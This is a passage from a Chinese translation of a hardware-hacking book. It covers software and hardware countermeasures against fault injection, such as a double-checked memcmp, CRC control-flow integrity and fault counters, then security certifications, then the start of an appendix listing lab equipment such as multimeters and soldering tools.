double_check() 示例已经针对单一故障进行了加固,但在 memcmp() 调用之间恰好间隔一定周期的多个故障可以跳过两次检查。因此,最好在它们之间加入一些 随机等待状态,理想情况下还要执行一些 非敏感操作,如笔记本中的 double_check_wait() 示例所示,且在 列表 14-7 中也有展示。非敏感操作的帮助在于:首先,长时间的故障可能会破坏连续的条件分支;其次,随机等待的侧信道信号会向攻击者透露敏感操作发生的时机。与之前的例子相比,曾经 100% 成功的故障现在变得不太可能。

def double_check_wait(input, secret):
    # Check result
    result = memcmp(input, secret, len(input))

    if result == 0:
        # Random wait
        wait = random.randint(0,3)
        for i in range(wait):
            None 

        # This is also a good point to insert some not-so-sensitive other operations
        # Just to decouple the random wait loop from the sensitive operation

        # Do memcmp again
        result2 = memcmp(input, secret, len(input))

        # Double check with some different logic
        if not result2 ^ 0xff != 0xff:
            print("Access granted, my liege")
        else: 
            print("Fault2 detected!") 1

列表 14-7:通过随机延迟双重检查 memcmp 操作

另一个简单的控制流检查是查看敏感的循环操作是否以正确的循环计数结束。附带的笔记本中的check_loop_end()示例演示了这一点;循环结束后,迭代器的值会与一个“已知良好”的值进行检查。

一种更复杂但更广泛的对策是控制流完整性。有很多种实现方式,但我们提供了一个使用循环冗余检查(CRC)的示例。CRC 非常快速。其理念是将一系列操作表示为字节序列,并对其计算 CRC。最后,我们检查 CRC 是否与预期值匹配,这应该始终成立,除非某个故障改变了操作顺序。你将需要添加一些代码来帮助进行控制流完整性工作。

附带的笔记本中展示了crc_check(),其中多个函数调用更新了一个运行中的 CRC。首先,我们启用了DEBUG模式,这会导致最终的 CRC 被打印出来。接着,这个 CRC 被嵌入到代码中作为检查项,并关闭调试模式。现在,控制流检查处于激活状态。如果一个函数调用被跳过,最终的 CRC 值将不同。你可以通过将FAULT变量设置为 0 和 1 来验证它是否有效。

你可以在没有条件分支的地方执行这种简单的控制流检查。如果程序中有一些条件分支,你仍然可以为每条路径硬编码一些有效的 CRC 值。或者,你还可以在仅限于一个函数内部的局部控制流中进行操作。

CRC 当然并不是加密安全的。加密安全在这里并不重要,因为我们需要的仅仅是一个难以伪造的校验码。在这种情况下,伪造意味着通过故障注入将 CRC 设置为一个特定值,而我们假设攻击者的能力不足以做到这一点。

检测并响应故障

通过使用复杂的常量、双重检查或诱饵操作,我们可以开始构建故障检测。如果遇到无效状态,我们就知道是故障引起的。这意味着在if语句中,我们检查condition==TRUE,然后是condition==FALSE,如果最终进入else,我们就知道发生了故障。对于“switch”语句来说,“default”情况应该始终是故障选项。请参见笔记本中的memcmp_fault_detect(),它通过简单地检查difftmpdiff中非平凡位的比特是否正确设置,如果没有正确设置,则返回None。另一个例子是 Listing 14-7 中的 1,在这个例子中,第一个检查成功,但第二个检查失败。

类似于诱饵操作,我们可以使用任何并行的软硬件进程来构建通用的故障金丝雀。在正常情况下,它们应该有一些固定的、可验证的输出,但在遭受攻击时,它们的输出会发生变化。

在硬件中,我们可以构建类似的结构。此外,硬件还可以包括特定的故障传感器,用于检测供应电压或外部时钟的异常,甚至是芯片上的光学传感器。这些可以有效应对特定类型的故障,但另一种类型的攻击可能绕过它们。例如,光学传感器会检测激光脉冲,但不会检测电压扰动。

故障响应是指在检测到故障时应采取的措施。这里的目标是将成功攻击的机会降低到攻击者放弃的程度。在这个光谱的一端,你可以实现程序退出、操作系统重启或芯片重置。这些措施会延迟攻击者,但原则上仍然允许他们进行无限次尝试。光谱的中间部分是向后端系统发出信号,标记该设备为可疑设备,并可能禁用该账户。在光谱的另一端,你可以实施永久性措施,如清除密钥、禁用账户,甚至烧毁熔丝,阻止芯片启动。

如何响应故障可能很难决定,因为这在很大程度上取决于你对假阳性的容忍度、系统是否是安全关键型以及妥协带来的影响有多严重。在信用卡应用中,当遭受攻击时,清除密钥和禁用所有功能是完全可以接受的。与此同时,如果由于假阳性导致这种情况发生在大规模范围内,则是不可接受的。需要在一定的时间框架或生命周期内找到一个平衡点,确定可以容忍多少假阳性(和故障!)。

为了平衡假阳性和实际故障,可以使用故障计数器。初始的计数器增量被视为假阳性,直到计数器增加到一定的计数阈值。当达到该阈值时,我们认为系统正在遭受(故障)攻击。这个计数器必须是非易失性的,因为你不希望断电后计数器被重置。攻击者可以通过在每次故障尝试之间重置计数器轻松利用这一点。

即使是非易失性计数器也必须小心实现。我们曾经进行过攻击,通过侧信道测量检测到检测机制,然后在计数器更新到非易失性存储之前关闭目标设备。通过在敏感操作之前增加计数器,存储计数器值,执行敏感操作,且只有在未检测到故障的情况下再减少计数器,可以抵御这种攻击。现在,关机只意味着计数器已被增加。

对策的阈值取决于应用的暴露度和对假阳性的容忍度;在汽车和航空航天/太空应用中,由于暴露于辐射和强电磁场中,由自然引起的故障更加常见。容忍度取决于应用。在信用卡的情况下,清除密钥和有效地禁用功能是可以接受的。然而,这在具有安全功能的设备(例如医疗或汽车设备)中则不可接受。从其他应用的现场故障率角度来看,这甚至可能是不可接受的。在这种情况下,一种应对方法可能是偷偷通知后端设备,表明该设备可能正受到攻击。此时,采取什么措施是一个产品设计决策,但它通常涉及在安全性、可靠性、成本、性能等方面进行权衡。

验证对策

本节中的对策可能会使攻击更加困难。这是一个故意的弱声明。不幸的是,我们并不处于一个干净的加密世界,在这个世界里,存在能够简化为现有并且经过充分研究的数学难题的优雅证明。我们甚至没有像加密学中那样的启发式安全性,因为对策的有效性因芯片类型而异,有时甚至因单个芯片而异。最好的情况是,文献在无噪声的环境下分析对策,并在(通常)表现相对“干净”的简单微控制器或 FPGA 上验证它们。这就是为什么——直到我们有更好的理论方法来预测对策的有效性——在实际系统上测试有效性是至关重要的。

强度和可绕过性

验证对策时需要分析两个主要角度:强度和可绕过性。在现实世界的类比中,强度是指撬开门锁有多困难,可绕过性是指是否可以通过窗户进入,从而避开锁。

强度可以通过开关对策并验证攻击抵抗差异来衡量。对于故障注入,您可以将这种差异表示为故障概率的降低。对于侧信道分析,您可以将这种差异表示为密钥暴露前所需的跟踪次数的增加。

查看笔记本中的示例,测试memcmp_fault_detect()函数中非平凡常数对策的强度。此函数使用顶部 24 位非平凡常数位(参见 Listing 14-4)作为故障检测机制。我们模拟difftmpdiff值中的单字节故障。我们可以观察到,大约 81.2%的情况下,故障被成功检测到,而约 18.8%的情况下,则没有故障,或者没有可观察到的效果。然而,我们的对策并不完美:大约 0.0065%的情况下,故障会成功翻转difftmpdiff的位,使得memcmp_fault_detect()得出输入值相等的结论。虽然这听起来成功率很低,但如果这是一个密码检查,我们期望在 15,385 次故障注入后成功登录(1/0.000065)。如果每秒能注入一次故障,那么你将在五小时内成功。

第二个(也是更棘手的)角度是绕过性:绕过对策的难度有多大?为了确定这一点,可以考虑构建一个攻击树(参见第一章),它可以帮助你列举其他的攻击方式。你可能会缓解电压故障,但攻击者仍然可以进行电磁故障注入。

对抗编译器

一旦你验证了几次你的对策,你会发现它们有时完全无效,这可能是由于覆盖不完全(例如,你只堵住了一个漏洞,而实际上有很多漏洞)。还有一种情况是,你的工具链可能会优化掉你的对策,因为它们没有副作用。例如,双重检查一个值与检查一次该值在逻辑上是等价的,因此优化编译器会巧妙地去除你的双重检查。在硬件综合过程中,也会发生类似的情况,其中重复的逻辑可能会被优化掉。

如果在 C 或 C++中的变量上使用volatile关键字,可以帮助避免对策被优化掉。使用volatile时,编译器不会假设对同一个变量的两次读取会得到相同的值。因此,如果你对一个变量进行双重检查,它将不会被编译器去除。请注意,这会产生更多的内存访问,因此,如果芯片对内存访问故障特别敏感,这就是一把双刃剑。你还可以使用__attribute__((optnone))来关闭特定函数的优化。

Listing 14-6 中的代码是另一个例子,编译器优化将导致你的故障对策发生变化。编译器可能会选择重新排序生成的汇编代码,如果攻击者跳过了单一的分支指令,就会导致发生“掉落”条件。

目前有一些研究致力于使编译器输出更能抵抗故障的代码,这显然是一个解决方向;参见 Hillebold Christoph 的论文《编译器辅助的完整性防御抗故障注入攻击》。由于性能原因,这类技术的全面应用并不理想。

仿真与模拟

在验证过程中使用仿真器也非常重要。对于硬件设计来说,从初步设计到首次硅片的周期可能需要数年。理想情况下,我们希望在硅片出现之前就能“测量”泄漏,这时还有时间进行修正。请参见 Alessandro Barenghi 等人的论文《侧信道抗性密码实现的设计时工程》。

类似的故障注入研究正在进行中:通过模拟各种指令损坏,我们可以测试是否存在单点故障注入。更多信息,请参见 Martijn Bogaard 和 Niek Timmers 的《攻击下的安全启动:通过仿真增强故障注入与防御》。Riscure 有一个开源的 CPU 仿真器,实施指令跳过和损坏,地址为github.com/Riscure/FiSim/,你可以尝试测试你的软件反制措施。我们建议你试用这个仿真器——你可以迅速了解哪些反制措施有效,哪些无效。更重要的是,你会发现哪些反制措施组合能将故障率降到较低水平。将故障率降到零并不容易!

验证与启蒙

对于反制措施的强度,你可以自己测量;对于反制措施的绕过性,最好找一个没有参与设计的人来进行评估。反制措施可以被视为一种安全系统,正如施奈尔定律所说:“任何人都能发明出一种足够巧妙的安全系统,以至于他或她无法想象任何破解的方法。”

在这个话题上,允许我们稍微偏离一下,探讨一下我们所称的安全启蒙的四个阶段。这是我们完全不科学的观察和主观经验,讲述人们通常如何回应硬件攻击的概念以及如何解决这些问题。

第一阶段是基本否认侧信道或故障攻击的可能性或实用性。问题在于,基本的软件工程假设——这些假设你一直在体验和听到——是可以被打破的:硬件实际上并没有执行它接收到的指令,并且它正将其处理的数据公之于众。这就像发现世界不是平的。

一旦通过了第一阶段,第二阶段就是反制措施容易或是无法被打破的。这是因为尚未完全理解安全问题的深度,反制措施的成本,或者攻击者是具有适应性的生物。通常需要一些反制措施被突破(或与安全专家进行一些“是的,但如果你这么做……”的对话)才能进入下一个阶段,也就是安全虚无主义

安全虚无主义是指一切都是脆弱的,所以我们无论如何都无法防止攻击。确实,任何东西都可以被破坏,只要有动机和充足资源的攻击者——这就是关键所在。攻击者数量有限,且他们的动机和资源各不相同。就目前而言,复制一张磁条信用卡要比对一张信用卡进行旁道攻击容易得多。正如 James Mickens 所说:“如果你的威胁模型中包括摩萨德,你最终还是会被摩萨德击败。”不过,如果你不是摩萨德的目标,你大概率不会被摩萨德盯上。他们也需要做出优先级排序。

第四个也是最后一个阶段是启蒙:理解安全性与风险相关;风险永远不可能为零,但风险并不意味着最坏的情况总是发生。换句话说,安全性是关于让攻击者尽可能对攻击失去兴趣。理想情况下,防御措施应该提高门槛,直到攻击的成本超过了回报。或者更现实的说,防御措施使得另一个产品比你的更有攻击吸引力。启蒙是意识到防御措施的局限性,并在包含哪些防御措施时做出基于风险的权衡。这也是关于能够再次安心入睡。

行业认证

针对旁道分析和故障注入抗性,已经通过多个组织提供认证,我们将在本节中列出。我们从第一章知道,安全性不是二元的,那么如果没有不可打破的产品,行业认证意味着什么呢?

这些认证的目标是让供应商向第三方展示他们在某种程度上具有保障抗攻击能力。这也意味着认证只在有限的时间内有效;一张几年前的证书显然不包括最近发现的攻击。

我们先简要考虑一下抗攻击能力。如果一个产品通过了通用准则 PP-0084 (CC)/EMVCo认证,说明它具备所有必要的安全功能,并且认证实验室无法证明存在一个攻击路径,其JIL 评分(参见第一章的“硬件攻击路径评分”)少于 31 个点。攻击路径只有在最终导致一个定义明确的资产(如密钥)遭到破坏时,才算作攻击路径。这意味着使用了正向测试和负向测试,既要确认“它做了它应该做的事”,也要确认“它没有做它不应该做的事”。后一项在面对聪明且具有适应能力的对手时尤为重要。

实际上,JIL 评分限制了可用于攻击的时间、设备、知识、人员和(开放)样本的数量。无论实验室了解或能够开发哪些攻击,只要评分在 31 分以内,这些攻击对 CC/EMVCo 都具有相关性。有关如何进行评分的良好参考,详见 JIL 文档的最新版本,标题为“攻击潜力在智能卡和类似设备上的应用”(该文档可在网上公开获取)。证书告知你该实验室未能识别出任何得分低于 31 分的攻击。实验室甚至不会测试得分为 31 分及以上的攻击是否有效。回到我们之前提到的不可破解产品,评分系统意味着你仍然可以在高评分的攻击中找到攻击方法。一个很好的例子是“解构一个‘安全’处理器”,由 Christopher Tarnovsky 于 2010 年 Black Hat 大会上展示,他令人印象深刻地超越了实验室在认证过程中可能投入的努力。

现在,让我们考虑保证级别,这是“我们有多确定它能抵抗相关攻击”这一方面。一方面,你可以阅读产品数据表,看到“侧信道对策”,根据数据表你可以得出结论,认为这是正确的,但它只提供了级别的保证。或者,你可以花费一年的时间测试所有内容,并在你的特殊协议上通过数学证明泄漏的下限,然后你就有了级别的保证。

对于 CC,保证级别定义为评估保证级别(EAL);对于智能卡,你通常会看到 EAL5、EAL5+、EAL6 或 EAL6+。我们在这里不会详细讨论,但只需确保你能比你的朋友聪明,知道 EAL 并不意味着“它有多安全”。相反,它意味着“我有多确定它的安全性?”(如果你想更聪明一点,知道+表示一些额外的保证要求。)

说到实验室,实验室必须证明它们有能力进行最先进的攻击,这一点由标准机构进行验证。此外,对于 CC,实验室必须参与并在联合硬件攻击小组(JHAS)中共享新攻击。JHAS 维护着前面提到的 JIL 文档,并通过新攻击和分数更新它。通过这种方式,标准不必规定必须执行哪些攻击,这很好,因为硬件安全是一个不断发展的领域。由于攻击已包含在 JIL 中,主要由实验室选择适用于产品的相关攻击。这就带来了实验室方法的“变动”成本。后者的问题在于,供应商可以选择那些找到较少问题的实验室,因此实验室实际上面临着找到更少问题的竞争压力。确保实验室仍然符合标准的责任在于标准机构。

全球平台(GlobalPlatform)为其受信执行环境(TEE)认证采用了类似于 CC 的方法。所需的得分为 21,低于智能卡,这意味着只有当硬件攻击明显可扩展时,才被认为是相关攻击,例如通过软件手段进行的攻击。例如,如果我们使用故障注入或侧信道攻击来提取一个主密钥,从而破解任何类似的设备,则被视为相关攻击。如果我们必须对每个想要破解的设备进行侧信道攻击,并且每个设备需要一个月的时间才能提取密钥,则被视为超出认证范围,因为攻击评级将超过 21。

Arm 有一个认证程序,叫做平台安全架构(PSA)。PSA 有多个认证等级,三级包括对物理攻击的防护,如侧信道攻击和故障注入抵抗。PSA 总体上是为物联网(IoT)和嵌入式平台设计的。因此,它可能更适合通用平台,但如果你正在使用通用微控制器构建产品,那么 PSA 等级是你最可能看到这些设备被认证的级别。在较低的等级上,PSA 还帮助解决我们今天仍然面临的一些基本问题,比如调试接口未关闭。

另一种方法是ISO 19790,它与美国/加拿大标准FIPS 140-3对接,重点关注加密算法和模块。加密模块验证程序(CMVP)验证模块是否符合 FIPS 140-3 的要求。这里的方法偏重于验证——即确保产品符合安全功能要求。换句话说,它偏向于测试产品的强度,而非绕过能力。该标准规定了必须在产品上执行的测试类型,帮助各实验室之间的可复现性。问题在于,攻击手段发展迅速,而“由政府机构定义的标准测试集”却没有相应的更新。FIPS 140-2(FIPS 140-3 的前身)于 2001 年发布,但并没有包括验证侧信道攻击的方式。换句话说,某产品如果获得 FIPS 140-2 认证,意味着其 AES 引擎能够正确地进行 AES 加密,密钥仅限授权方访问,等等,但这也意味着密钥可能在 100 次侧信道攻击中泄露,因为 FIPS 140-2 的测试范围没有包括 SCA(侧信道攻击)。它的继任者 FIPS 140-3 用了 18 年时间才生效,且已包括以测试向量泄漏评估(TVLA)形式进行的侧信道测试。通过 TVLA,测试被精确地规范,但如果攻击者在过滤等方面过于巧妙,则会被排除在外。这意味着通过测试并不代表没有侧信道泄漏,而仅仅是最直观的泄漏没有被检测出来。

另一种侧信道泄漏认证方法在ISO 17825中有所探讨,该标准再次采用了我们在第十一章中描述的一些 TVLA 测试并进行了标准化。最终目标可能是为了达到泄漏的“数据表数据”。像 ISO 19790 一样,ISO 17825 的测试并不旨在执行与通用标准相同的工作。通用标准主要关注攻击抵抗力,而 ISO 17825 试图提供一种通过自动化方法比较特定侧信道泄漏的方式。这意味着 ISO 17825 并不打算提供跨各种攻击的通用安全度量,但当你试图理解启用某些侧信道对策的影响时,它是非常有用的。换句话说,它衡量的是对策的强度,而不是绕过的可能性。

ISO/SAE 21434 是一项汽车网络安全标准,自 2022 年 7 月起在欧盟对新车型强制实施。它规定了安全工程要求,并要求考虑硬件攻击。这将本书中介绍的所有攻击都纳入了汽车领域的范畴!当认证进入市场部门时,你会发现“它是安全的!”常常与“它已按某一保障级别通过了有限威胁集的认证”混为一谈。这是可以理解的,因为后者表述起来太复杂。然而,这意味着你需要了解某个产品的认证实际意味着什么,以及它如何适配你的威胁模型。例如,如果你试图验证某个系统对各种先进攻击的一般抵抗力,那么提供 ISO 17825 测试的公司显然无法满足你所需的范围。但如果你仅仅依赖标准标题(“针对密码模块的非侵入攻击类别的缓解测试方法”)和测试供应商提供的些许市场材料,你可能很容易被其价值所迷惑。当然,不同认证之间的成本和努力差异也是显著的。

认证至少帮助了智能卡行业在抗侧信道攻击和故障注入方面达到了较高的水平。没有人能轻易破解一张现代的、经过认证的卡片。与此同时,必须关注认证背后的内容,因为认证总是有其限制。

改进中

有许多不同的培训课程可供学习侧信道分析和故障注入。选择课程时,我们建议先了解课程大纲。本书涵盖了基础知识和理论,如果你已经掌握这些内容,那么更好的选择可能是专注于实践的课程。硬件黑客领域有来自各行各业的人。有些人可能从事了十年的低级芯片设计,但从未接触过有限域算术;而有些人则可能拥有理论数学博士学位,但从未使用过示波器。因此,当你接触某个主题时,务必搞清楚对你来说最有价值的背景知识。无论你想了解更多关于加密学、信号处理,还是 DPA 背后的数学,都要找到专注于这些主题的课程。类似地,一些培训课程更侧重于进攻而非防守,因此请找到最符合你需求的课程。(完全披露:两位作者的公司也提供培训课程。)

你还可以参加会议上的讲座,与该领域已有的专家们交流和讨论。你可以在学术会议上找到他们,例如 CHES、FDTC、COSADE,同时也可以在更多面向硬件黑客的会议上找到他们,比如 Black Hat、Hardwear.io、DEF CON、CCC 和 REcon。遇到我们时,欢迎主动打个招呼!我们期待在这些活动中见到你。

参加培训课程和参加活动也是学习新事物的绝佳方式,这不仅能拓宽你自己的背景经验,还能与他人分享你独特的背景。你可能花了多年时间从事模拟集成电路的设计,我们敢打赌你能洞察到一些电压尖峰如何在芯片内传播,而那些只接触过 FPGA 的人可能没有这种见解。

摘要

在本章中,我们描述了许多对策策略。每个对策都可以构成一个“足够安全”的系统的构建块,但单独任何一个都不足以保证安全。在构建对策时,还需要注意许多警告,因此请确保在开发的每个阶段验证它们是否按预期工作。我们通过各种认证策略提到了验证的专业方面。

最后,我们聊了一下如何在这个领域中持续进步。最好的老师仍然是实践。首先从简单的微控制器开始。例如,尝试使用时钟频率低于 100 MHz 的设备,并且完全由你控制,这样就没有操作系统向你抛出中断和多任务处理。接下来,开始构建反制措施,并观察它们如何抵御你的攻击,或者更好的是,找个朋友为自己构建反制措施,然后互相试图攻破对方的防线。你会发现,测试防御强度比绕过性要容易得多。一旦你在攻击和防守方面都比较得心应手,就开始增加难度:更高的时钟频率,更复杂的 CPU,目标应用的控制力下降,对目标应用的了解减少,等等。意识到你仍在学习中;一个新的目标可能让你重新感到像个初学者。继续努力,最终耐心会带来运气,运气会带来技巧。祝你在这条路上好运!

第十五章:A

透支信用卡:搭建测试实验室

本附录描述了我们在本书中涉及的工作中使用的设备。如果你正在搭建硬件黑客实验室,本附录还可以作为一份有用设备的“购物清单”。我们探讨了从数百万到数十美元预算的各种选择,并提供了许多 DIY 选项,以帮助你搭建更低成本的实验环境。

我们根据你想要实现的特定目标来介绍设备,并大致按照本书中的顺序进行讨论。我们还涵盖了你在为更高级的分析工作准备目标时会用到的基本设备(多用表和焊接工具)。本附录的目的是提供一个关于实验室所需设备的完整概述,帮助你进行总体预算(也方便我们在发布第二版时进行更新)。

我们需要让你意识到一些推荐背后存在明确的利益冲突。Colin 是 NewAE Technology, Inc.的联合创始人,而 Jasper(截至写作时)在 Riscure 工作已有十多年;这两家公司都生产和销售侧信道分析与故障注入设备。尽管如此,我们尽力确保我们的推荐基于技术理由,并尽可能保持清晰。我们提供了截至 2021 年初的美国美元价格估算。由于供应链问题,价格会有所波动,但我们也希望你理解$50 和$50,000 预算之间的差异。对于一些有良好文档记录的低成本 DIY 解决方案,我们已将其列在较低的成本区间。

面对如此众多的工具,你应该从哪里开始?很难给出具体的推荐,因为一切都取决于你的整体目标和预算。如果你只是想跟随本书中的示例,你可以选择 ChipWhisperer-Nano 或 ChipWhisperer-Lite。如果你想对最新的加密设备进行黑盒测试,可能需要 EM 探针和非常快速的数字化解决方案。除非你想重新实现许多攻击算法,否则你可能会想要更完整的软件解决方案,如 Riscure Inspector。

检查连接性和电压:$50 到$500

尽管《CSI:Cyber》中的硬件黑客蒙太奇会包括重新焊接 BGA、精心修改电路板以及用酸腐蚀芯片,但在现实生活中,你的大部分时间将花在检查电气连接性上。此类测试包括检查组装电路板上的短路、测量线路上可能的拉电阻、追踪电路板上的线路,以及弄清楚你所使用的电缆的引脚排列。

除了检查电气连接外,万用表还可以完成一些其他常见任务,例如测量电压和电流消耗,你很快就会意识到,作为硬件黑客,最有价值的工具之一就是你那可靠的(数字) 万用表

我们特别提到电气连接检查,因为大多数万用表都包括一个“蜂鸣器功能”,当测量到短路(或低电阻)时会发出蜂鸣声。这个功能的质量差异很大;可以查看 Dave Jones 的 EEVBlog YouTube 频道,那里有一些很棒的产品评论和对比。

在高端产品中,Fluke 万用表可能是最知名的品牌。我们在这一系列中的首选推荐是 Fluke 179/EDA2 套件。特别是这个套件包括了 TP910 测试引线,这些引线具有非常细的尖端,可以轻松探测 QFN 封装。探针的尖端既包括弹簧加载 pogo 引脚(非常适合将尖端固定在引脚上),也包括锐利的不锈钢探针(适合穿透焊接掩膜或涂层)。图 A-1 展示了它们在实际操作中的样子。你可以单独购买这些探针,并将其与其他品牌的万用表配合使用,但请检查插孔规格,因为不同品牌的万用表插孔大小略有不同。TP910 测试引线的缺点是,细而灵活的电缆可能会在较小的弯曲半径下被弯曲,并最终在弯曲最明显的地方出现内部开口,特别是在末端。

faa001

图 A-1:Fluke TP910 测试引线带有 pogo 引脚(左)连接 QFN IC 焊盘,锐利探针刺穿焊接掩膜(右)

在中低端市场,选择范围要广泛得多。一个建议是远离低成本的 Fluke(或其他大品牌)选项,因为它们通常似乎在功能上有限制,以避免与其高端选项相互竞争。一个简单的选择往往是 EEVBlog 品牌的万用表,它们通常经过充分测试,性价比高。根据你所在的国家/地区,你可能会发现许多不同的本地可用选项,这使得指定具体型号变得困难,但在当地的 Amazon 网站查看评级是一个不错的起点。

如果你选择预算型万用表,或许仍然值得在更好的引线套件上多花点钱。虽然预算型万用表的电子元件可能足够应付任务,但其引线通常感觉便宜,或者尖端太大,不便于使用。购买带有硅胶绝缘电缆的优质引线是值得投资的,因为引线是你将花费大量实际操作时间的部分。不要因为花在测试引线上的钱比万用表本身还多而感到不安。

精细间距焊接:$50 至 $1,500

焊接是你会经常做的一项任务。我们称之为细间距焊接,因为除了标准的通孔焊接外,你还需要将电线焊接到测试点以及进行其他需要精细焊接铁头的任务。你需要多种选择,而不仅仅是标准的细头焊接铁头,因为你会发现细头焊接铁头很容易损坏。焊接铁头通常由内部的铜芯和一层不会与焊锡反应或氧化的金属组成(见图 A-2)。

faa002

图 A-2:焊接铁头的构造包括一个铜芯和一个更坚固的镀层,选择该镀层是为了能够耐受与焊锡的接触。

一旦镀层有了孔,焊接铁头通常就废掉了,因为它不再能提供良好的热连接。较小(更细)的焊接铁头通常会很快出现孔,尤其是当用来焊接较大的物品时,这可能会导致你推动或摩擦焊接铁头。

最受欢迎的焊接选择之一是 Hakko FX-951,它配有许多非常精细的焊接铁头,适合处理小型表面贴装元件和将电线焊接到微小的元件上。该设备本身大约$400,焊接铁头的耗材相对便宜(起价$10)。这些焊接铁头的加热器和热电偶是集成在一起的,这意味着你能将热量直接传递到焊接铁头附近。

另一个我们喜欢的高端焊接工具是 Metcal 系统,它使用一种叫做“SmartHeat”的技术(见图 A-3)。

faa003

图 A-3:Metcal 使用一种几乎与焊接铁头集成的加热器(SmartHeat)来调节焊接铁头的温度。在这个系统中,焊接铁头的温度是固定的,但它比使用独立温度计的焊接铁头反应要快得多。

这个加热器实际上是一种具有居里点(即改变其磁性特性的温度)的特殊材料,选定为所需的焊接铁头温度。它集成在焊接铁头中,并通过高功率射频信号源驱动,因此焊接铁头可以迅速从焊接小型表面贴装电阻到拆焊大型连接器。

一个常见的起步点是 Metcal MX-5210 基站($800),然后你需要选择合适的焊接铁头(它甚至不带焊接铁头)。对于焊接铁头,STTC-125 和 STTC-145 零件号是不错的选择(大约$30),并且两者都适用于无铅焊锡。基站和焊接铁头都很贵,而且这些焊接铁头比经典的加热器方案更易损坏。

如果你想以更低的成本得到相似的效果,Thermaltronics 提供了使用相同技术的低成本方案。Thermaltronics TMT-9000S($400)实际上使用了与 Metcal 系统相同的焊接铁头连接,因此它也可以为 Metcal 基站提供低成本的焊接铁头。

JBC 也开始提供性价比高的焊接站。特别是 CDB 和 CDS 系列的价格低于 Metcal 焊接站,但性能非常出色。根据你所在的国家/地区,你可能会发现某些品牌比其他品牌更容易购买,并且通常进口或运输成本会显著影响一个焊接站的性价比。

Hakko FX-951、Metcal、Thermaltronics 和 JBC 都是相对高端的焊接站。你也可以使用便宜得多的电烙铁,但在低端市场,你的具体需求往往决定了最具性价比的选择。一个不错的选择是 TS100 焊接铁(参见 图 A-4)。

faa004

图 A-4:TS100 是一款低成本的电烙铁,与高价电烙铁相比,表现相当出色。

这款焊接电烙铁非常独特,因为它使用直流电输入,这意味着它体积小且便于携带。你可以轻松通过汽车电池或交流-直流电源适配器(比如你的笔记本电源适配器)来运行它。在实际使用中,它表现非常好,且热恢复速度很快,但一定要使用足够强劲的电源,理想的电压范围是 19 至 24 V,以提供最大功率。TS100 提供了不同大小的焊接头的套件,或者你也可以购买带有提供焊接头的 TS100,它的价格低于一些昂贵的 Metcal 替换焊接头(我们说过,Metcal 的东西很贵)。

去除通孔焊锡:30 美元至 500 美元

如果幸运的话,你可能永远不需要从印刷电路板(PCB)上移除通孔连接器或类似组件。但有时这是必须的,当即使是少量焊锡残留时,移除它也变得非常棘手。像 吸锡带吸锡器 这样的基本工具,在面对更复杂的任务时使用起来可能会更加困难。

相反,拥有像 焊锡去除“枪” 这样的工具是值得的。这些工具配备了一个加热元件和一个主动吸力装置,可以在加热焊锡的同时将其从组件引脚上吸走。图 A-5 展示了一个独立的例子,Hakko FR-300,但你也可以在各种焊接工作站中找到这种功能的附加装置。

faa005

图 A-5:Hakko FR-301 是一款流行的通孔去除工具,它是 FR-300 的直接替代品。

无论你使用什么方式去除电路板上的焊锡,首先在电路板上添加低熔点焊锡会有帮助。例如,如果你在拆焊无铅工艺时,焊锡会保持液态的时间非常短,迅速冷却。如果你先在连接处加入一些含铅焊锡,它会保持液态更久(警告:这意味着如果你想将电路板恢复使用,它就不再符合 ROHS 标准)。你可以通过使用像 Chip Quik 移除合金 SMD1NL(无铅)或 SMD1L(含铅)这样的产品来进一步延长液态时间,这些产品专为加入焊点并使其具有更低的熔点而设计。一旦焊点清理完毕,可以使用“常规”焊锡重新焊接,恢复正常功能。

焊接和拆焊表面贴装元件:$100 到 $500

表面贴装焊接有广泛的需求。我们将重点介绍硬件破解中最常见的任务,而不是所有可能的表面贴装工作。

对于表面贴装焊接来说,最重要的设备是热风枪。这种设备提供热空气流,帮助焊接元件下面的焊点。你可以找到各种受欢迎的热风工具,涵盖各种价位。截至本文撰写时,一款受欢迎的中档选择是 Quick 861DW(图 A-6),它提供可靠的热风源,并具备良好的设置范围。除了热风枪,你可能还需要喷嘴。不用担心要为每个封装购买合适的喷嘴,因为你可以通过在大封装表面上移动较小的喷嘴来适应需求。

faa006

图 A-6:Quick 861DW 是一款中档热风枪。

如果你不确定热风枪的设置,好的起始点是调节温度和流量,使得当你将热风枪在纸上移动时,纸张变为浅棕色。你不想流量过大,否则会把元件吹走。在正式开始使用之前,先拿一台旧笔记本电脑或计算机主板,看看你能轻松拆卸多少个元件。如果你做得很好,试着将它们重新组装回去。

如果你计划处理更大的封装(如 BGA),电路板预热器可能会很有用。这个工具可以将热风吹到电路板的另一面,这样热风枪只需要用来将温度“推高”到可以熔化焊锡的最终值。

很多 YouTube 频道更详细地展示了这种返工技术。Louis Rossmann 的频道展示了笔记本电脑(尤其是 MacBook)和手机的维修。这些消费电子设备通常具有非常细密的元件,通过足够的经验,你可以感受到什么是可能的。

如果你有有限的表面贴装需求,你也可以考虑之前提到的 Chip Quik 去除 合金 SMD1L 或 SMD1NL。这种焊料合金的熔点非常低。它可以与常规电烙铁一起使用,并且在熔化后保持足够长的时间,足以让你用电烙铁绕过整个 SMD 芯片——即使是一些较大的封装,如 TQFP-144!当然,它只适用于可见的焊盘,但它不需要任何额外的工具,只需要你可能已经拥有的设备,而且这种合金本身也很便宜(不到$20)。即使是使用热风设备,它也适用于一些热敏元件附近的情况,这些元件较难掩蔽。

你还可能会遇到带有焊球的球栅阵列(BGA)封装,这些焊球可能需要在拆卸后进行“重新焊球”。你可以购买高级的重新焊球夹具,但如果你只是偶尔使用这些封装,可能只需要购买一套低成本的 BGA 模板即可。由于低成本工具的使用说明较难找到,我们将在本书中重新创造一种适合我们的技巧。我们将使用一包便宜的模板,价格仅约$20(见图 A-7)。我们可以将焊膏涂抹到模板上,重新加热后,它将形成完美的焊球。如果你以前没有使用过焊膏,可能需要一些时间才能掌握技巧。大多数焊膏的保质期有限,应该存放在冰箱中。基于这一点,我们将简要介绍使用这些模板时更可靠的技巧。

faa007

图 A-7:用于 BGA 重新焊球的便宜模板示例

对于这种便宜的模板,最可靠的重新焊球过程如下:

  1. 移除旧的焊球并使用除焊带进行焊接。

  2. 使用异丙醇(IPA)和/或助焊剂清除剂彻底清洁区域。

  3. 将去焊球的芯片粘贴到模板的底部。

  4. 用刮刀(如信用卡边缘)将焊膏型助焊剂(例如 MG Chemicals 8341-10ML)涂抹到模板上(模板下方是芯片)。小心不要造成模板错位。

  5. 使用适当尺寸的焊球,小心地将球推入每个模板孔中。确保模板表面没有多余的焊球。图 A-8 显示了该过程的开始。

